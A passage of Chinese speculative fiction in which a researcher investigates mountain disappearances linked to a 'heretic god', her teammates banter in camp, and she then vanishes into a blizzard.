乌苏拉拉的语速越来越快,翻译器已经跟不上速度,屠一鸿索性直接开口问道:“雪山上有什么?”
“异端的神明,带走了天主的信徒!”
乌苏拉拉古怪地惨叫一声,突然紧紧捂住心口,脸上流露出虔诚又极度悲伤的神情。
屠一鸿好像看出些什么,她试探着问道:“有很多人在雪山上的一个地方失踪了,包括你的家人,是吗?”
乌苏拉拉的身体一动不动,那双浑浊的眼睛痛苦地闭上,眼角渐渐溢出泪水。
屠一鸿平静地点了点头,“真遗憾,我很抱歉。”
她紧接着问道:“那个异端的神明,究竟是什么?”
“闪晃。”
“什么?”她没听懂,疑惑地皱起眉头。
乌苏拉拉慢慢地抬起了头。
屠一鸿突然间说不出话来。
她看见那双浑浊的眼
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珠闪动着晶莹的高光,仿佛从那具形容枯槁的躯体里超然脱出,藏在时空深处静静地望着她。
一种原始而纯洁的力量从那双眼睛里流露出来,如涌流的洪流般将她淹没。
“天穹之上的闪晃,在阿拉克的巨斧边缘游荡,异神已经降临,它在此徘徊,永远不会离开。”
乌苏拉拉游魂般说完这句话,突然闪电般伸出枯枝般的手,死死钳住屠一鸿的手腕。
屠一鸿吓了一跳,回过神来,对视看见乌苏拉拉的眼睛,那里面重新充满了仇恨。
“你这个卑鄙无耻的异乡人……滚出去!”
“我看得见,你是被它选中的人,你的灵魂已经堕落进深入骨髓的恶……”
乌苏拉拉不住地咒骂着,她突然发狂般尖叫起来,站起身将身边的东西摔得到处都是,屠一鸿赶紧将一旁的兽皮书卷偷进怀中,悄悄地退出了帐篷。
深夜,科考队员们聚到了杨心妍在的帐篷,开始讨论今天走访调查的收获。
屠一鸿坐在角落里,独自喝着熬的米粥,静静地听着队员们的埋怨和鼓励声。
“……哎呀,要不我们去弄点粮食来跟他们做交易好了!”
“这样会破坏当地人的交易市场,我们还是要遵循不干涉原则。”
“哪有这么复杂!再说了,他们每年本来就需要我们捐助粮食补给吧!”
……
梅知里胡乱几口喝完粥,大啦喇喇地躺倒在地铺上,打了个长长的饱嗝。
突然间,像是想到了什么,她猛地坐起身,跑到屠一鸿边上,在后者疑惑的视线中掏出包里的塑料萝卜,脸上露出神秘兮兮的笑容。
“我跟你说,我今天在集市上偷听到他们在说阿比克神的事。”
“怎么说?”屠一鸿喝着米粥,脸上一副波澜不惊的神情。
梅知里长叹一声,躺上身后的枕头。
“还不是人类神话史的那一套,一个开天辟地的大男神创造了世界,用不存在的子宫创造了接下来所有的神和人类,然后他们就开始噼噼啪啪……”
屠一鸿微微皱起眉头,身体前倾放下呈着米粥的木碗。
“那还真是……原始。”
听到同伴的认同,梅知里脸上露出揶揄的笑容。
她躺在地铺上,手里把玩着塑料萝卜,语气里流露出淡淡的嘲讽,“确实,照我看来,如果人类是神造出来的,那世界就是一架巨大的3D打印机造出来的……哎等等,对啊!”
打了鸡血一般,她兴奋地坐起来,眼睛亮闪闪的,喊道:“女人是人类的原子化3D打印机!”
声音传到帐篷里另一边,几个跟她相熟的队员无奈地看过来。
其中一个向这边调侃道:“喂,让联合城邦那伙人听到你的女权主义言论,你下个月的研究经费就完蛋了!”
另一个队员长叹一声,痛心疾首地说道:“都战后几十年过去了,人类里怎么还留有你们这群遗毒!”
某个角落里也响起一个漫不经心的声音,“唉,所以说人类之所以会灭亡,就是因为你们这帮人拖了后腿,没有老老实实地生、服服帖帖地生啊……”
众人都哈哈大笑起来。
梅知里嘿嘿笑了一声,重新躺倒在地铺上,伴着众人的议论声开始呼呼大睡。
而屠一鸿听了她刚才的话,静静地坐在地上,脸上的神情若有所思。
……
新的一天清晨,梅知里被六点半的闹钟吵醒,躺在床上迷迷糊糊地睁开眼。
她打了个哈欠,刚要打算再躺会儿,却听见门外传来急促的敲门声,她只好赶紧坐起身跑过去开门。
门打开,杨心妍一脸焦急地看着她,还没等她询问,杨心妍就开了口:“你昨天晚上看见屠一鸿了吗?”
她愣了一下,隐隐约约察觉到问题的严重性,有些茫然地摇了摇头,“没有,我直接在你帐篷里睡过去了,她当时坐在我旁边。”
“你几点睡的?”
“应该是二十点左右。”
见没有有效的信息,杨心妍紧皱着眉头,着急地在门外踱来踱去。
梅知里小心翼翼地凑上前,问道:“发生了什么?”
杨心妍神色复杂地抬起头,看了她一眼。
“屠一鸿不见了。”
……
【警告 前方暴风雪三级预警,建议减少不必要户外活动】
【温度 零下二十五摄氏度 】
【风速二十八米每秒】
【……】
屠一鸿关闭屏幕,将识别器远远扔到身后的雪地里。
昨夜,她已经将兽皮书卷里几个受害者失踪的地点标出来了,包括姜元源失踪的坐标在内。
现在,她将用书卷里的手绘地图前去调查——因为它的实用性,以及可信性都非常低下。
她戴上雪地护目镜,抓起身旁的登山杖,艰难地向前方走去。
若是进行观测,它就会坍塌,乃至消失不见。
所以,她就尽量不去看。
阵阵寒风呼啸而过,世界是无边无际的一抹白,浑圆的天地间扑簌簌地下了一场又一场雪,将所有的存在深埋地底。
地平线切割的那头露出一点薄透的光晕,而她最后的身影向前去,就此消失在漫漫风雪中。